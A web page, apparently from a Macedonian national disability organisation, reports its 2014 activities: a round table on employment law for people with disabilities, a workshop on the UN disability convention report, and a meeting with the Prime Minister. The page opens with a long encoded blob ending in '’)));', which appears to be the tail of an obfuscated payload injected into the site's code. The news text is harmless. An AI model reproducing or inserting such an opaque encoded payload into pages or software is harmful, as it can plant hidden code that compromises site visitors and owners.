rP24RsVti7IRGQes1r5RaT+6fRt4j6QebGbHn3Y0tLQBB0px/YU2VrHx5Bo+m5DAJi5/bvfz9Cn6dY6XFjfTpuUOHpMJGjpOsqOAAtCPCSXD2zh0Z27Dfwd1M4FNCaUwtM/rEayDu6F7PTt77un8/YF3EVk5FLLjH0mzOaA+ctpasnpMxOo37kYDsBPC2Ce2Wp4e8/h7m8AwlQD2Mji6cQv6TGWq/oj5g3O7jNNR8m9MsHvW2UvO9I2bJ3Ie6TvwxS3jfpFJIkmfANPqkUg/4EByzwaavp4n3A2VKWDYdluWMcSAG3zgnxegTIAxX6SfXgzLdAdvdhViTTqGSPt8u79OI79dwqa0G+QRa3ndq11PUp6XzVjIqIieKD9GUosebUVGIwY9Jl0L6x9MtniQltIh5t0z8245lG4S0vmJlzPjmW71/j4Y7u8XEnOrJ6Cgp4npyftpEHcLla90Stmd0SCkt7klRGJvkB/Gee0HS//HTKKbP46vCvCQC/+OjsNAlK/Pu9mH2WE2cflHP5ahecYnbPQtd/thPSZ0ImzYB379kbV9eajjH40HV35/xMXA5LcC9tzHkae+CnzfMJlLpuTby3vvG++WNxc6NZ6Z2rugaIFirsGjw88YZwtwF/zv5sOaq70BZF3tdrD93IMgWWKRLUr934TbD8O4XvxB8YqT4DedX1+a0h8tlkjnh7tsxGJ7buov0S3JyTE5M36kd657geYyD8jXugKNaM9vN5TDjeCBHRZiBM/fSkuzK8epif/qplQ83faHkA5Du5fFBNKJ7tLzS/4JFLkV9991XaF75FA9m+x42XKJgqR03lLalbhfxGc1rSRrSBVy1NEwauvlAvZBkh/T6gK9QW+BFxGEGLI4mldtA/N4pp5Ex7iJti35gkvArZ2+pZf5vcQOfG6XoMR9CElKvxKyy17jx1Ahh/9VjDyl1AnX8GhYo3dtDg5Bx7Qm/bp2yNhS04rZ0gI6vLzK+MYP8JEynoTIeVjD9JiuzZn4S09truocvT6zAu1y0QAyz3avoSMgwgy/I5xnENyGlL70xm0ftNU19NMmv99iShqnSjBMEcBIGCBkFwA8Ga+u9//v333//7fw==’)));

Учество на Тркалезна маса 2014

Претседателот и генералниот секретар на НСЦИВМ активно учествуваа на Тркалезната маса сто се одржа на 22.05.2014 г. во организација  на Националното координативно тело за еднакви права на лицата со инвалидност при Владата на РМ. Тема на Тркалезната маса беше „Законски рамки и практики за вработување на лица со инвалидност“.

Учество на дводневна работилница 2014

Во јануари се одржа дводневна работилница во организација на канцеларијата на Обединетите нации во РМ и Министерството за труд и социјална политика за изготвување на иницијален Извештај за имплементација на Конвенцијата на ОН за изедначување на правата на лицата со инвалидност во РМ. На работилницата присуствуваа претставници од сите национални инвалидски организации кој дадоа полн придонес во изготвувањето на Извештајот. Исто така, на работилницата како претставници учествуваа на надлежните министерства и претставници на народниот првобранител.

Средба со премиерот на РМ

На 03.01.2014 година беше одржана работна средба со Премиерот на РМ, и Министерот за труд и социјална политика на РМ на кој се дискутираше околу заштитата на лицата со инвалидност во РМ. На средбата беше дискутирано и за зголемување на финансирањето на националните инвалидски организации.